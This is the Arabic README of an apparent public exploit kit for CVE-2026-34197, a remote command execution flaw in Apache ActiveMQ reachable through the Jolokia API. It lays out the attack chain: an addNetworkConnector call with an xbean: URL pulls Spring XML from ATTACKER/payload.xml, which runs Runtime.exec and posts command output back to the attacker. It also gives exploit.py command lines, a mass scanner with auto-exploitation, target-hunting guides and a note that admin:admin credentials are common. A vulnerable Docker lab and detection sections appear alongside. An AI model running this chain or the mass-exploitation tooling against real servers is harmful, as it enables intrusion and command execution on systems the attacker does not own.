
استغلال لثغرة تنفيذ الأوامر عن بُعد (RCE) في Apache ActiveMQ عبر واجهة Jolokia API (CVE-2026-34197) مع التقاط مخرجات الأوامر، والمسح الجماعي، والاستغلال التلقائي.
نظرة عامة • التفاصيل • مسار الهجوم • بدء سريع • دليل ATTACKER_IP • الاستخدام • التقاط المخرجات • الماسح الضوئي • الاستطلاع • الكشف • المعالجة
CVE-2026-34197 هي ثغرة حرجة لتنفيذ الأوامر عن بُعد (RCE) في Apache ActiveMQ Classic تسمح لمهاجم مُصادَق بتنفيذ أوامر نظام تشغيل تعسفية عبر واجهة Jolokia API المكشوفة على وحدة التحكم الويب.
الثغرة موجودة منذ أكثر من 13 عامًا وتكمن في التفاعل بين Jolokia (جسر HTTP-JMX)، وMBeans الخاصة بـ ActiveMQ، وموصلات الشبكة، وناقل VM.
[!CAUTION] هذا هو أول PoC عام تم تطويره بواسطة KONDOR DEV SECURITY. استخدمه فقط في تقييمات أمنية مصرح بها.
id, whoami, cat /etc/passwd) تعرض مخرجاتها تلقائيًا في الطرفيةversion_check.py) — كشف الإصدار متعدد الخيوط + استغلال موجّه| معرف CVE | CVE-2026-34197 |
| الخطورة | |
| النوع | تنفيذ الأوامر عن بُعد (RCE) |
| CWE | CWE-20 (التحقق غير السليم من المدخلات) / CWE-94 (حقن الكود) |
| المتأثر | ActiveMQ Classic < 5.19.4 و 6.0.0 — 6.2.2 |
| المُصحَّح | 5.19.4 / 6.2.3 |
| المصادقة المطلوبة | نعم (بيانات الاعتماد الافتراضية admin:admin شائعة) |
| بدون مصادقة | 6.0.0 — 6.1.1 (بسبب CVE-2024-32114) |
| المنفذ الافتراضي | 8161 (وحدة التحكم الويب) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### تفصيل خطوة بخطوة
| الخطوة | الإجراء | المكوّن |
|:----:|--------|-----------|
| **1** | يرسل المهاجم طلب POST إلى `/api/jolokia/` يستدعي `addNetworkConnector` على Broker MBean | Jolokia API |
| **2** | يعالج ActiveMQ معرف النقل `vm://` وينشئ وسيطًا مؤقتًا مع `brokerConfig` يشير إلى عنوان URL بعيد | VM Transport |
| **3** | يؤدي مخطط `xbean:` إلى تنزيل ملف تكوين Spring XML من خادم المهاجم | Spring / XBean |
| **4** | يقوم Spring بإنشاء جميع الحبوب (beans) في ملف XML، بما في ذلك حبة تستدعي `Runtime.getRuntime().exec()` | Spring Context |
| **5** | بالنسبة للأوامر البسيطة، يتم التقاط المخرجات وإرسالها مرة أخرى عبر HTTP POST إلى مستمع المهاجم (تلقائيًا) | Output Capture |
---
## هيكل المشروع```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
pip install requests
### بيئة المختبر (Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
python exploit.py -T targets.txt -l YOUR_IP -c "id"
### الماسح الضوئي + الاستغلال التلقائي (موصى به للأهداف الجماعية)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt